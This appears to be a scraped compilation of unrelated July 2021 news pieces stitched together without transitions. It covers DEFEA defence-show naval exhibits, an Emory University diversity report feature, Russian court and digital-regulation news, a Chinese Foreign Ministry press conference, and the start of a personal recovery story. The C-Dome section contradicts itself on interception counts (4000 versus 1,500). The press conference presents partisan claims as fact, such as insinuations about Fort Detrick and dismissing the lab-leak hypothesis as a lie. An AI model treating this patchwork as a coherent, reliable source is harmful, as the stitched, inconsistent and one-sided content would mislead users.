From 13th to 15th July 2021, Naval Group participates in the first edition of DEFEA, the Athens Defence Exhibition in Greece organised by the Hellenic Ministry of National Defence. Naval Group will showcase its state-of-the-art military ship offer, illustrated by the FDI frigate, the most modern new generation frigate. This is the French offer concerning the Greek procurement of four new frigates.

The future Frigates for defence and intervention FDI (Picture source: Army Recognition)



During DEFEA, Naval Group reiterates its commitments to develop strategic partnerships with the Greek Industry and the Hellenic Navy. Naval Group submitted as part of the French Team with MBDA and Thales a comprehensive package designed to ensure Greece has the best capabilities in the shortest timeframe with optimised costs as well as a robust Hellenic Industry Participation plan.

Naval Group is one of the few companies in the world with the ability to deliver directly or in transfers of technology a complete range of warships with their combat systems and all the critical equipment necessary to engage naval power in a theatre of operations.

Naval Groups booth on DEFEA will reflect this comprehensive offer with a focus on surface ships and innovative solutions.

The FDI frigate is the 5th generation of combat ship for naval supremacy and crisis management. This warship is designed for navies looking for a compact frigate able to perform a large range of missions stand-alone or within a task force either. Like the FREMM, the FDI frigate features high level capabilities in anti-air, antisurface, anti-submarine and asymmetric warfare domains, taking into account French Navy operational legacy acquired in wartime situation.

Its maximum speed is 27 knots and it has an autonomy of 45 days with operational availability of 3500 hours per year. The frigate can accommodate 125 men and women + 28 passengers and will be able to carry at the same time a helicopter (capacity of 10 t, the actual helicopter will weigh 5t) and an Unmanned aerial vehicle (UAV), developed as part of the SDAM program with Airbus Helicopters.

As the first digital frigate, FDI frigate integrates latest-generation systems around a naval digital distributed cloud architecture, natively cyber-secured and compatible with the new Information Technologies developments and evolutions and provides sailors with adapted services. Different versions are available to embrace the specific needs of each navy.

The French Navy will operate five FDI frigates. The first of them is already in production and will be delivered in 2024 and the next two in 2025.

The FDI HN will meet all the requirements of the Hellenic Navy and the first could be in service as soon as early 2025. Naval Groups offer includes to build 3 of the 4 frigates in Greece.

The Gowind design is a family of steel monohull frigates, corvettes and offshore patrol vessels developed since 2006 by France's Naval Group, formerly known as DCNS, to conduct missions in littoral zone such as anti-submarine warfare (ASW). The Gowind family includes vessels with lengths from 85 to 111 metres (278 ft 10 in to 364 ft 2 in) and displacement from 1,000 tons to 3,100 tons.

Gowind is a military-engineered compact surface combatant equipped with a set of state-of the-art, combat-proven anti-submarine, anti-surface and anti-aircraft systems to NATO standards. Gowind takes the best of the latest technological advances developed and mastered by Naval Group for large frigates, in order to anticipate and meet future operational requirement. It integrates the latest generation of combat systems developed by Naval Group, SETIS, the "Panoramic Sensors and Intelligence Module (PSIM)" - a combination of the integrated mast with its various sensors and the Operational Centre and associated technical premises - and the high level of integration, automation and user-friendliness of the Naval Group systems.

The Gowind corvette is already sea proven with the Egyptian navy and after a first of class built in France in only 38 months, the rest of the series is successfully being built in Egypt.

A model of Gowind-class corvette (Picture source: Army Recognition)


The Israeli company Rafael Advanced Defense Systems Ltd., is participating in DEFEA 2021, July 13-15, at Metropolitan Expo, Athens, Greece. Rafael showcases a number of solutions for naval applications, like the C-Dome.

A model of the C-Dome (Picture source: Army Recognition)



Rafaels C-Dome is the naval adaptation of the combat-proven IRON DOME, which has achieved over 4000 combat interceptions.

The C-Dome is designed to protect strategic naval and land assets against advanced aerial, ballistic and surface-to-surface threats and it is operational with the Israeli Navy.

C-Dome uses the combat-proven Iron Dome interceptor that has already achieved more than 1,500 successful interceptions.

It is maintenance-free and is stored in a sea-proof canister. Up to 10 C-Dome can be loaded into a modular Vertical Launcher Unit.

Interceptor are vertically launched with unrestricted 360 azimuth coverage. The highly advanced warhead ensures high kill probability against a wide range of targets. The C-Dome interceptor is extremely agile and with a high rate-of-turn enabling intercepting of even the most maneuverable targets. Its state-of-the-art proximity fuze maximizes lethality and its powerful warhead ensures target destruction.

It is designed to protect vessels in blue and littoral waters from ballistic trajectory and direct attack weapons fired in saturation attacks.

C-Dome includes a 10-round canister loaded with vertically-launched Tamir interceptors for 360-degree coverage, a feature not supported by the land-based Iron Dome system; the ship's own surveillance radar is used to negate the need for a dedicated fire control radar.

The system has a small footprint to enable installation on small ships like offshore patrol vessels, corvettes, and even stationary oil rigs.

The Israeli military declared initial operational capability for the C-Dome on 27 November 2017, after more than 18 months of integration and design work.
The joint venture RAM-System GmbH, owned by MBDA Deutschland (50%), Diehl Stiftung (25%) and Diehl BGT Defence (25%), displays RIM-116 Rolling Airframe Missile at DEFEA 2021, held in Athens, Greece, from 13 to 15 July 2021.

RIM-116 Rolling Airframe Missile (Picture source: Army Recognition)



RAM is a cooperative program between the U.S. and German governments with industry support from Raytheon and RAMSYS of Germany.

The RIM-116 Rolling Airframe Missile (RAM) is a small, lightweight, infrared homing surface-to-air missile in use by the German, Japanese, Greek, Turkish, South Korean, Saudi Arabian, Egyptian, Mexican and U.S. Navies. It was intended originally and used primarily as a point-defense weapon against anti-ship cruise missiles.

As its name indicates, RAM rolls as it flies. The missile must roll during flight because the RF tracking system uses a two-antenna interferometer that can measure phase interference of the electromagnetic wave in one plane only. The rolling interferometer permits the antennas to look at all planes of incoming energy. In addition, because the missile rolls, only one pair of steering canards is required. As of 2005, it is the only U.S. Navy missile to operate in this manner.

The RIM-116 Missile has a length of 2.8 meters, a diameter of 127 millimeters, and a weight of 74 kg.
With bold aspirations and a strong sense of purpose, our aim is to enhance the Emory experience  shaping a campus community that is supportive, inspiring and life-changing for all who learn, work and discover here, Emory President Gregory L. Fenves notes in a letter introducing the Office of Diversity, Equity and Inclusion 2021 Report. (Photo taken prior to the COVID-19 pandemic)

Emorys first chief diversity officer, Carol Henderson, has had full days since touching down in Atlanta for her first days of work heading the Office of Diversity, Equity and Inclusion (ODEI) nearly two years ago.

Henderson, who also is vice provost for diversity and inclusion and adviser to the president, recalls getting right down to it. She remembers her first decision: Would she co-sponsor For Peace I Rise? It is a musical depicting the bond between C. T. Vivian and his wife, Octavia Geans Vivian. Their love story helped ground them in their civil rights work during a volatile period in the nations history.

Henderson greenlighted her offices involvement and went on to participate in two webinars about the play. It was a good call  resulting in S.R. 604 from the Georgia Senate, a resolution commending the production and Emorys role in it.

It has been a productive time since then, a period of progress toward Emorys goal of achieving a welcoming climate for all, starting with Henderson herself.

I want to celebrate the resilience of our community. Even in the midst of COVID-19 and a racial reckoning, we were still committed to the work of diversity, equity and inclusion (DEI) at Emory. That needs to be celebrated. There was a renewed passion for the work, understanding that it was a catalyst for change. It is a movement not only for Emory but for the nation, says Henderson.

The Office of Diversity, Equity and Inclusion 2021 Report looks across the university, credits the many partners Henderson has had along the way, and chronicles work done both this year and last. The report subdivides into sections on culture and climate, accountability, learning opportunities, community connections, partnerships, programming and a path forward.

President Gregory L. Fenves, in a letter introducing the report, describes the ultimate goal this way: With bold aspirations and a strong sense of purpose, our aim is to enhance the Emory experience  shaping a campus community that is supportive, inspiring and life-changing for all who learn, work and discover here.

Evidence of renewed passion for the work

Believing that it was foundational to establish what she calls a common language to approach DEI issues, Henderson and the Intercultural Development Advisory Group she formed worked on a glossary of terms and produced Emorys Institutional Statement on Diversity.

Currently in motion is a campus-wide diversity strategic planning process, which is open to feedback now and will call again for community response once the strategic planning communities conclude their work in November 2021, preparatory to sharing a final report with Fenves in January 2022.

Reflecting our values in the way we do business

With deliberately no fanfare, in 2020 Emory established a Business Diversity Advisory Council (BDAC), co-chaired by Henderson; Alan Anderson, assistant vice president for university partnerships; and Debby Morey, associate vice president for business operations.

Given our size and the influence that our money has on neighborhoods and communities, I and others saw this work as vital. Every dollar we spend is important, revealing our values, says Henderson.

Emory has a new supplier diversity manager, Randy Brown, who joined last year and has stepped into a more expansive role. In February of this year, Brown joined Fenves and others for a webinar outlining Emorys progress in this regard.

Browns role is crucially important, but Anderson observes that supplier diversity is just one aspect of an ambitious agenda the BDAC has set. The larger mission, he notes, is to strengthen businesses with an emphasis on diversity, equity and inclusion through a holistic economic-development approach including supplier development, procurement opportunities, hiring and community outreach.

Graduates of the Start:ME program  a free, small-business training program run in partnership with Goizueta Business School  are seeing benefits not just through the programs training but also through, in some cases, being hired by Emory.

Campus Services contracted with Start:ME firm Saboor Construction for electrical projects on the Oxford College campus. Another graduate of Start:ME, UMS Movers, helped move students out of residence halls at the start of the pandemic.

Across Emory, there is a realization of the ways that broadening supplier diversity benefits emerging, socially conscious companies and the larger community. The Nell Hodgson Woodruff School of Nursing, Goizueta Business School and Campus Life have stepped up to examine their 2020 spending with an eye toward broadening their vendors, and Anderson says that other schools and units are eager to follow.

Emory is also deepening ties with the Atlanta Wealth Building Initiative (AWBI), which Anderson describes as an important backbone organization that will give us a variety of connection points, helping identify vendors who can support our needs.

As a founding member of the ATL Action for Racial Equity, an initiative launched in February 2021 by the Metro Atlanta Chamber, Emory is helping lead an effort to get businesses across the region to take a renewed look at their corporate policies, with the goal of launching an inclusive economic development playbook for the initiative as a whole later this year.

The ultimate goal, says Anderson, is for Emory to be squarely among the citys leaders in demonstrating good economic citizenship, which leads to the creation of jobs and the sustained economic viability of the entire community.

Enhanced professional development

Henderson was delighted when Chris Augostini, executive vice president for business and administration, approached her to train his senior leadership team. What ensued was a multipart, yearlong training series facilitated by ODEI and external partners.

As leaders at Emory, and given our current societal landscape, we feel it is imperative that our team is appropriately educated and empowered to lead with regard to diversity, equity and inclusion. The ODEI team have been great partners, and we developed a curriculum around unconscious/implicit bias, inclusive leadership, setting unit climate and related topics, says Augostini.

Other units are welcome to seek similar professional development opportunities for their leadership teams; it will be even easier to do with the recent hiring of Russell T. Griffin, who joined the staff of Learning and Organizational Development at Emory Human Resources on May 17 as director of diversity and inclusion education and outreach.

Henderson, who participated in the search process for Griffin, notes the importance not only of professional development but of thought leadership in the organizational evolution of the institution, which Russell will provide. That transformation has to occur structurally, and you have to provide tools and skill development for individuals to be able to make those transformations.

We will be creating a learning network for change. This is how we start moving the needle, with everyone having the same language and understanding, the same knowledge base. Then we put structures in place to guide people. I look forward to working with Russell on that, Henderson continues.

Other progress with DEI training has been the partnership between ODEI and Donna Troka, director of diversity and inclusive pedagogy at the Center for Faculty Development and Excellence (CFDE). Troka has presented 30 programs across the university on DEI topics. On the topic of inclusive pedagogy  defining it as well as accessing resources and formulating strategies for achieving it  the CFDE offers a variety of options for departments, depending on their needs.

Within ODEI, Allison Butler, director of the Department of Accessibility Services, likewise is always seeking new insight about inclusive pedagogy and found it in the challenges the pandemic posed.

This COVID-19 year occasioned a shift toward prioritizing usability and accessibility needs for all. It required us to reach across disciplines, roles and responsibilities to address the needs of students, faculty and staff, notes Butler.

Inclusive pedagogy was at the forefront of this shift. Faculty needed to engage their students in a variety of modalities, including remote instruction. With the assistance of the CFDE, Academic Technologies and a variety of academic partners, we worked to embed flexible teaching practices and best practices for universal design. We shifted beyond compliance to proactively address usability and accessibility needs for the campus community, she adds.

Better searches engender better faculty diversity

Partnering with the Office of Faculty Affairs, ODEI staff are working with deans and chairs of faculty searches, pursuing a more standardized and robust faculty-recruitment process. It centers on accountability and more proactive ways to diversify candidate pools as well as using templates to minimize bias in the evaluative process and ensure the appropriateness of final candidates.

The two teams also collaborate on the searches for faculty-equivalent positions, librarians and postdoctoral fellows. Since August 2019, they have supported and audited 1,010 searches, of which 166 have been for tenure-track faculty.

In the past year especially, Henderson and Carol Flowers St. John, assistant vice provost for faculty affairs, have met with search committees, suggesting strategies to broaden their applicant pools. And it is fully reciprocal in that Henderson and St. John have been there to listen and address the questions and concerns of search committee members, some of which are unique to their discipline.

The level of intentionality regarding diversity has been raised, says St. John, even though the commitment always has been there. We recognize that we all have to be invested and that it is a continuous improvement and learning process for everyone.

We all are devoted to the success of Emory. Diversity brings intellectual robustness and enhances the educational experience. In order to be eminent, we must be inclusive. In order to be inclusive, from a faculty-hiring perspective, we must standardize the use of best practices in faculty search and hiring. We also want to create a climate in which everyone feels welcome and wants to stay. That is the goal behind what we have been doing, St. John stresses.

Another guiding principle that Henderson and St. John have conveyed is that searches should not be thought of as one-time events. The objective is to have faculty think broadly across their professional lives, including the people they meet at conferences and the memorable research they encounter, such that they are always in a recruitment mindset.

We are hoping that faculty, on a subconscious level and as they move in their spheres of expertise, make connections with their colleagues, says St. John. In this way, when searches are initiated, names of appropriate candidates will arise more naturally and be a supplement to more traditional approaches such as advertising.

Henderson calls it diversity beyond the numbers, emphasizing that critical mass and cohort building are important elements because they help our campus reflect the larger world; however, ultimately the work has to be intentional, part of the fabric of our culture.

As St. John reminds herself, DEI has its roots in the 1960s and the antidiscrimination legislation of that decade. With the literature and evidence-based strategies still evolving, she notes, there is much more work to do, but I continue to be proud of our efforts to date.

For those interested in learning more, Chaneta Forts, assistant director for equal opportunity and affirmative action in the ODEI, just established the Faculty Hiring and DEI Newsletter, which will publish biannually.

A path forward

In the fall, Emory will be participating in the National Assessment of Collegiate Campus Climates, a quantitative survey administered annually at colleges and universities across the U.S. under the auspices of the University of Southern Californias Race and Equity Center.

The survey provides data about undergraduate students appraisals of institutional commitment to equity and inclusion, the extent to which they interact meaningfully with diverse others, where and what they learn about race and their feelings of readiness for citizenship in a racially diverse democracy, among other topics. By joining this survey, we now will be able to measure ourselves against our peer aspirants, says Henderson.

We have great momentum. We want to continue that progress and not get comfortable where we are, advises Henderson. There is more for all of us to do given that DEI work is a journey, not a destination.
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Court approves seizure of $670K in assets of businessman charged in murder-for-hire case

 sledcom.ru

11:05 14/07/2021

MOSCOW, July 14 (RAPSI)  A court in the city of Krasnoyarsk approved a request to seize assets of businessman Anatoly Bykov worth over 50 million rubles ($670,000) as part of an investigation into a case of incitement to murder for hire, according to the press service of the Investigative Committee.

Among the assets seized there are two land plots, a residential building and several other structures, the statement reads.

Bykov stands charged with incitement to the murder for hire of Krasnoyarsk businessman Andrey Nekolov, which took place in January 2005. Investigators allege that in the summer of 2004, Bykov ordered his acquaintance to kill Nekolov, the founder of an industrial waste utilization firm, for an award of $50,000. On January 18, 2005, the killer shot the victim dead.

By now, the Sverdlovsky District Court in Krasnoyarsk has drawn a jury panel in yet another case against Bykov, who is charged with masterminding double homicide in 1994, and is in detention.

According to the Russian Investigative Committee, in the first half of 1994, Alexander Naumov, a 23-year old member of a criminal group headed by Bykov, had a conflict with the gang leader because of unjust, according to him, dividing of the joint criminal income. Later, Bykovs car was exploded. The businessman suspected Naumov and his friend Kirill Voytenko of the blast organization and decided to kill them. He ordered his acquaintance Vladimir Tatarenkov to organize the murder; the latter in turn involved his gang members in the crime. On July 24, 1994, Naumov and Voytenko were shot dead.
Russian expert speaks on digital regulation proposals

 pixabay.com

12:44 14/07/2021

MOSCOW, July 14 (RAPSI)  The authorities of a number of countries are concerned with regulation of digital services, according to Alexander Zhuravlev, Chairman of the Commission on Legal Support of Digital Economy of the Moscow office of the Association of Lawyers of Russia Alexander Zhuravlev.

As the expert points out, for instance the EU introduced a law envisaging that large online platforms that run recommendation services are obliged to inform their users about the basic principles of the work of recommendation services in an easily accessible and understandable format.

Yet another example, according to Zhuravlev, is an agreement between the European Commission, Booking.com and the Xperia Group, which was concluded in 2020. The agreement was concluded to bring in line with the legislation on protection of the rights of consumers recommendation services for the publication of proposals for accommodation. Within the agreement framework, websites must present accurate information on the rankings of the premises, whereas search engines lkie Google, Amazon and other Internet companies must openly declare how they rank search results on their sites, the expert said.

The Commission Chair also reminded that the European Commission had published a new guide for Internet companies, which establishes the transparency standards of algorithmic ranking.

If ranking algorithms are used by a website or it runs a search service, two facts are forbidden to hide from the authorities and society: what factors ranking algorithms use and which positions are paid for. This regulation mechanism has been put in place, because consumers of services or content viewers have the right to know how these mechanisms work and when they are in operation. This is very important, since consumers base on the recommendations when deciding on the content to choose, or about purchases of certain goods or services, Zhuravlev explains.

In his opinion, in the present context Russia also needs to develop its own rules for recommendation services that would take into account the interests of all stakeholders.

Such rules, Zhuravlev insists, are to include an option to disable recommendation services at users discretion, or in the event if it is technically impossible, such products are to be marked accordingly, whereas users are to be warned in a clear and accessible language that the service uses such algorithms and the principles of their work. In his opinion, the expert says, such a mechanism is to be a step towards ensuring transparency of the operation of platforms for users.
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Foreign Ministry Spokesperson Zhao Lijian's Regular Press Conference on July 14, 2021

2021/07/14

CCTV: On July 13, the 47th Session of the Human Rights Council adopted a resolution on combating systemic racism submitted by African countries. Could you offer more details? What's your comment?

Zhao Lijian: On July 13, the 47th Session of the Human Rights Council adopted a resolution on combating systemic racism submitted by African countries. The resolution deplores all forms of racial discrimination, including systemic and structural racism, and condemns the continuing racially discriminatory and violent practices perpetrated by many law enforcement officials against Africans and people of African descent. It recalls the tragic murder of George Floyd in Minnesota, the US, on 25 May 2020, which drew attention to the scourge of systemic and structural racism and galvanized efforts to address this global problem in the US and around the world. It notes that the transatlantic slave trade is among the major sources and manifestations of racism, racial discrimination, xenophobia and related intolerance, and that Africans and people of African descent, Asians and people of Asian descent and indigenous peoples were victims of these acts and continue to be victims of their consequences. The resolution decides to establish an international independent expert mechanism in order to realize racial justice and equality, especially relating to the legacies of colonialism and the transatlantic slave trade in enslaved Africans, and ensure accountability and redress for victims. The international independent expert mechanism and the High Commissioner will present to the Human Rights Council their respective written reports on an annual basis.

The tragedy of George Floyd highlights the urgency and importance of curbing systemic racism and racial discrimination in the US and beyond. The international community must act now. This resolution is the first one dedicated to combating systemic racism adopted by the HRC after George Floyd was killed. It sets out the systemic agenda for the international community to tackle systemic racism and racial discrimination and protect the human rights of Africans and people of African descent, Asians and people of Asian descent and indigenous peoples. The adoption of this strong resolution will further galvanize international consensus and bring new impetus to the world anti-racism cause.

Countries who are beset by serious racism, racial discrimination, xenophobic violence and who engaged in or profited from enslavement, the transatlantic slave trade and colonialism should show the political will and courage to take responsibility for their crimes in history, and take substantive measures to resolve the ongoing racial discrimination and violent exclusivism, so as to reveal the truth and deliver justice to victims. They should also work with the international community to achieve racial justice and equality, truly promote and protect human rights, and avoid repeating the tragedy of George Floyd and the numerous victims of racism.

Reuters: Reuters reported at least 6 Chinese nationals died in the bus attack in Pakistan today. Can the spokesman confirm the number please? Do you have any comment on this attack?

Zhao Lijian: China is shocked by and condemns the bomb attack in Pakistan's Khyber Pakhtunkhwa province which caused Chinese casualties, mourns for the Chinese and Pakistani personnel killed in the attack, and expresses sympathy to their families and the injured. Pakistani security forces have taken measures to control the situation, properly transfer and treat the wounded. China has asked the Pakistani side to thoroughly get to the bottom of this as soon as possible, arrest the perpetrators, severely punish them and earnestly protect the safety of Chinese personnel, institutions and projects in Pakistan.

Beijing Daily: The 47th session of the UN Human Rights Council will be concluded today. The spokesperson mentioned that many countries have endorsed a joint statement supporting China. Is there any update on the list of countries that have joined the endorsement?

Zhao Lijian: Nigeria has just endorsed the joint statement of friendly countries in support of China at the 47th session of the UNHRC. We welcome Nigeria into the ranks of justice. To date, the number of countries that have joined the endorsement has reached 68. If we add the countries that have voiced their support for China by making statements in their national capacity or by sending joint letters, over 90 countries have spoken for justice at the UNHRC regarding China. They stressed that issues relating to Hong Kong, Xinjiang and Tibet are China's internal affairs where there should be no external interference. They rejected politicizing human rights issues and applying double standard and voiced opposition to wanton criticism targeting China driven by political motives and based on disinformation.

The facts are indisputable and the lies will eventually fall apart. A handful of Western countries have been spreading political lies and blatantly meddling in other countries' domestic affairs with human rights as a cover at the HRC. Such acts have been and will continue to be firmly rejected by the international community. During this HRC session, a large number of developing countries have voiced their grave concern over the systemic racism, vaccine nationalism, violation of human rights in detention facilities for immigrants, military interventionism, unilateral coercive measures and other human rights issues in Western countries. These Western countries concerned should heed the international call for justice, step out of their illusion of constantly lecturing others on human rights, take a hard look at their own grave human rights issues and adopt concrete measures to address them, and make some tangible efforts to promote their own people's welfare and the development of the global human rights cause.

People's Daily: From July 12 to 13, State Councilor and Foreign Minister Wang Yi paid an official visit to Turkmenistan, where he met and held talks with Turkmen leaders. Could you give us a bit more details about this visit?

Zhao Lijian: From July 12 to 13 local time, State Councilor and Foreign Minister Wang Yi met and held talks with Turkmen President Gurbanguly Berdimuhamedov, Deputy Prime Minister and Foreign Minister Rashid Meredov, and Deputy Prime Minister and Turkmen President of China-Turkmenistan Cooperation Committee Serdar Berdimuhamedov in Ashgabat respectively for in-depth exchanges on bilateral relations and issues of common concern.

Noting that China regards Turkmenistan as a truly reliable strategic partner, Wang Yi said, China-Turkmenistan relations have always maintained a sound development momentum under the strategic leadership of the two heads of state. China will firmly support Turkmenistan in pursuing a development path suited to its own national conditions. Taking the celebration of the 30th anniversary of the establishment of diplomatic ties between the two countries as an opportunity, China stands ready to work with Turkmenistan to further deepen political mutual trust, expand all-round cooperation, strengthen coordination and cooperation on major international and regional issues, and further turn the high-level cooperation between the two countries into tangible results for the benefit of the two peoples on an extensive basis.

The Turkmen side offered warm congratulations on the centenary of the CPC, and hailed the brilliant achievements made by the Chinese people under the leadership of the CPC. Turkmenistan and China have established a high level of political mutual trust, given each other understanding and support on issues concerning each other's core interests, and continuously deepened mutually beneficial cooperation and people-to-people and cultural exchanges. Turkmenistan stands ready to consolidate its strategic partnership with China on the basis of mutual respect, equality and mutual benefit.

The two sides agreed to align the Belt and Road Initiative (BRI) with Turkmenistan's development strategy to revive the Great Silk Road at a faster speed, negotiate and sign BRI cooperation documents at an early date, work out a plan for cooperation between the two countries in the next five years and a plan for expansion of partnership in the economic field, and sign cooperation documents in various fields such as international road transport agreements. The two sides also had in-depth exchange of views on the situation in Afghanistan and other international and regional issues of common concern.

Hubei Media Group: It is reported that Papua New Guinea has started inoculation with China-assisted Sinopharm vaccines. Can you give us more details?

Zhao Lijian: On July 13, Papua New Guinea (PNG) officially started vaccinating its people with Chinese vaccines. The PNG Minister of Health and Minister of Forestry attended the ceremony. The Minister of Forestry and several PNG officials received jabs on the spot. The PNG side said at the launch ceremony that the safety and effectiveness of the Chinese vaccine have been fully tested and thanked the Chinese side for providing the PNG people with a new choice against the novel coronavirus.

PNG is the third Pacific island country after the Solomon Islands and Vanuatu to roll out Chinese vaccines nationwide. This is a manifestation of China's pledge to make vaccines a global public good in Pacific island countries, and a concrete action taken by China to promote the building of global community of health for all. China will continue to deepen cooperation with Pacific island countries in fighting the epidemic, and provide support within its capacity to those island countries in need to help them defeat the virus.

Reuters: US president Joe Biden met with ASEAN today, he reiterated that US rejected China's maritime claims in the South China Sea. He also reiterated that US stands with the Southeast Asian nations, the nations with sovereignty claims, in face of China's coercion. Do you have any comment on this?

Zhao Lijian: China has made its position clear on the South China Sea issue many times.

The remarks of the US side disregard history and facts about the South China Sea issue, violate and distort international law, break the US government's long-held public commitment of not taking a position on the South China Sea sovereignty issue, deliberately stoke disputes on territorial sovereignty and maritime rights and interests, sow discord among China and ASEAN countries, and sabotage regional peace and stability. This is extremely irresponsible. China expresses its firm opposition to the wrong remarks of the US. I'd like to stress that the US calls itself a defender of international law, keeps referring to UNCLOS and making an issue out of it. Why doesn't it accede to the Convention first?

Beijing Youth Daily: According to media reports, 41 US states and Washington D.C. all registered spikes in COVID-19 infection during the past two weeks, with the number of confirmed cases more than doubling in 9 states. American media reported that more than 20 states had stopped daily updates on epidemic data. The lack of timely monitoring data may lead to blind spots in prevention efforts, experts worry. However, amid the severe situation at home, some US politicians are still pushing for an origin-tracing investigation targeting China. Do you have a comment?

Zhao Lijian: The COVID-19 pandemic is a ruthless litmus test.

First, it has shown that some US politicians care nothing about life. The US has maintained the world record for the highest tally of COVID-19 infection and mortality. Despicably, some US politicians, instead of focusing on combating the virus and saving lives, resorted to taking advantage of the pandemic to engage in political manipulation and blame-shifting.

Second, it has shown that some US politicians have no respect for science. The US has been denying the science-based conclusion of the WHO joint team of experts and has drawn on its intelligence apparatus to conduct the so-called investigation of origins. It also fabricated and spread the rumor and lie that the virus came from a lab leak in Wuhan and tried to muffle the objective, just and rational voice from the science community.

Third, it has also shown that some US politicians couldn't care less about truth. With regard to COVID-19, the US is a terrible bookkeeper. It turns a blind eye to domestic earlier cases that have been reported, sidesteps questions about the large-scale EVALI outbreak in Wisconsin in July 2019, and remains evasive about the mystery-shrouded Fort Detrick biological base. If they truly care about the truth, why not invite WHO experts to the US to investigate? Why clam up whenever Fort Detrick is mentioned?

Facts speak louder than words and justice always prevails. No matter how US politicians clatter and clamor, their attempt to politicize study of origins and scapegoat other countries can only end up in failure.

Bloomberg: Two questions from Bloomberg. Multiple media have reported that the US will warn American companies this week on the increasing risk of operating in Hong Kong. Does the foreign ministry have any comment? And second question. It is reported that the White House officials are said to be discussing proposals for a digital trade agreement covering Indo-Pacific economies. It's said to be a way to check China's influence in the region. Does the foreign ministry have any comment on this?

Zhao Lijian: On your first question, we always firmly oppose the US interference in China's internal affairs under the pretext of the Hong Kong issue. The Basic Law of Hong Kong and other relevant laws clearly protect the rights and interests of foreign investors. Since the implementation of the Law on Safeguarding National Security in the Hong Kong SAR last year, the society in Hong Kong has returned to the right track and the Pearl of the Orient has become even more shiny. The so-called advisory to be issued by the US side is a typical political manipulation with double standard.

On your second question, please refer to yesterday's press conference.

The Paper: The US Department of State issued a statement on July 13, saying that it, alongside the Department of the Treasury, the Department of Commerce, the Department of Homeland Security, the Office of the US Trade Representative, and the Department of Labor, issued an updated Xinjiang Supply Chain Business Advisory in response to the Chinese government's ongoing "genocide and crimes against humanity in Xinjiang and the growing evidence of its use of forced labor there". Do you have any comment on that?

Zhao Lijian: The US has been spouting the same old lies in the Xinjiang-related reports it issued one after another. The repetition of lies just lays bare its hypocrisy and hegemony on human rights.

Speaking of genocide, crimes against humanity and forced labor, I would like to ask you a question. Why does the US have these charges so readily on hand when it is falsely accusing other countries? The simple answer is that they are the sins the US once committed.

In the US, native Indians who made up the majority of the population of North America, were expelled and killed during the Westward Expansion. Their population has now dwindled to two percent of the total US population. Isn't this genocide? The US has a history of trafficking, abusing and discriminating against black slaves that dates back centuries. It committed the heinous Tulsa Race Massacre 100 years ago against African Americans. Isn't this genocide? There are approximately 500,000 child farmworkers in the US. Many of these children start working as young as age 8, and 72-hour work weeks are common. There are frequent occurrences of child occupational deaths. Isn't this forced labor? Tens of thousands of people are trafficked into the US and sold to sweatshops annually, and at least 500,000 people in the country have been subjected to modern slavery. Isn't this forced labor?

The sins of the US go far beyond that. Look at people like George Floyd who can't breathe under the suppression of White supremacists, ethnic minorities whose life is overshadowed by hate crimes, refugees and immigrants who suffer from cruel treatment and live in misery, and foreign civilians who were illegally killed and brutally abused by US troops under the pretext of fighting terrorism. They are denouncing the US acts of crimes against humanity all the time.

The US side should know that no matter how hard it tries to fabricate lies on Xinjiang, their sinister plot of containing China by using Xinjiang as an excuse is doomed to fail. The attempt to shirk responsibilities by scapegoating others and diverting attention will only lead to a dead end when confronted by justice and conscience and be shattered in the face of facts and truth. For the US, the right way forward is to reflect on itself, avoid going down the wrong path further and earnestly face up to and address its own problems.

China Daily: According to US media reports, the Boy Scouts of America reached an $850 million settlement with a group of about 60,000 sex-abuse survivors. It is also reported that this is one of the largest child sexual abuse case in US history. Do you have any comment?

Zhao Lijian: This case is shocking, but it's just the tip of the iceberg for the problem of children's rights in the US.

The number of child abuse cases in the US remains high. According to the Child Maltreatment 2019 report released by the Administration for Children and Families, a division of the US Department of Health and Human Services, 3.5 million child abuse cases were reported in the US in 2017, up by 10% from 2013; the number of children determined to be victims of maltreatment grew by 2.7% to about 674,000, among which an estimate of 1,720 children died from abuse and neglect; and 8.6% of victims were sexually abused.

In the US, the use of child labor is prevalent. According to US official statistics, in 2019, US law enforcement officers found 858 cases of child labor in violation of the Fair Labor Standards Act. There are approximately 500,000 child farmworkers in the US. Many of these children start working as young as age 8, and many work more than 10 hours per day. Children are three times more susceptible to the pesticides' carcinogenic effects than are adults. According to the US Government Accountability Office, between 2003 and 2016, 452 children died as a result of workplace injuries, among which over half, or 237 children, died in farm-related work accidents.

In the US, child poverty is beyond imagination. According to a report released by the US Children's Defense Fund, about 10.5 million children - nearly 1 in 7 (14.4%) - lived in poverty in 2019. Among them, 71% were children of color. About 3.6 million children under six lived in poverty and nearly 1.6 million lived in extreme poverty. The problem of child poverty is so serious in the US, the largest developed country in the world, that Children's Defense Fund describes it as the "greatest moral disgrace" of the US.

The US is the only country in the world that has not ratified the United Nations Convention on the Rights of the Child (UNCRC). While claiming to be a "beacon of human rights", the US has done nothing but point fingers at others. Why doesn't the US accede to the Convention first? If the US truly cares about human rights, especially the rights of children, it should start with addressing its own human rights issues at home, and resolve the "greatest moral disgrace" first.

AFP: Indian media has reported new clashes this year between Chinese and Indian border troops near the Galwan River. Can you confirm this and provide any detail?

Zhao Lijian: I am not aware of the situation you mentioned.

Bloomberg: The Philippines' foreign minister said today that the US vaccination campaign showed that democracies work, while autocracies are falling all over the place. Does the foreign ministry have any comment?

Zhao Lijian: No country holds a patent on democracy, which cannot be defined by Western ideology and values. Just take a look at the so-called Western democracies. How are they doing in the fight against COVID-19? Which country holds the world record in both infection and death tally? Look at the grave racism, racial discrimination and other human rights issues in these countries, which I talked about in detail just now. If these are the perks that come with being a "democracy", as a Chinese, I see nothing to envy.
"Dad why are you always in the garage? I never get to see you as it is. I want to spend more time with you."

These were the words 10-year-old Parker Redwood asked her father Tyler Redwood after he returned from smoking cannabis in the family garage on a cold dark winter's night in January 2020. These were the words that saved Tyler Redwood's life.

After struggling to answer young Parker's question Tyler returned to the garage. "I broke down. You don't understand  to see my daughter's broken face really hurt. I had a problem. I needed to be there for my family, and I went for help the very next day," explains Tyler.

Tyler was born in Saskatchewan. He is Saulteaux and has always been proud of his ancestry. Indigenous people in Saskatchewan have inhabited the region for thousands of years. Their roots are deep in culture, beliefs are strong and they have learned that adaptation equals survival. Tyler is quick to point out, "With all the racism I experienced as an indigenous person, I simply hated who I was...I hated the very skin that I lived in."

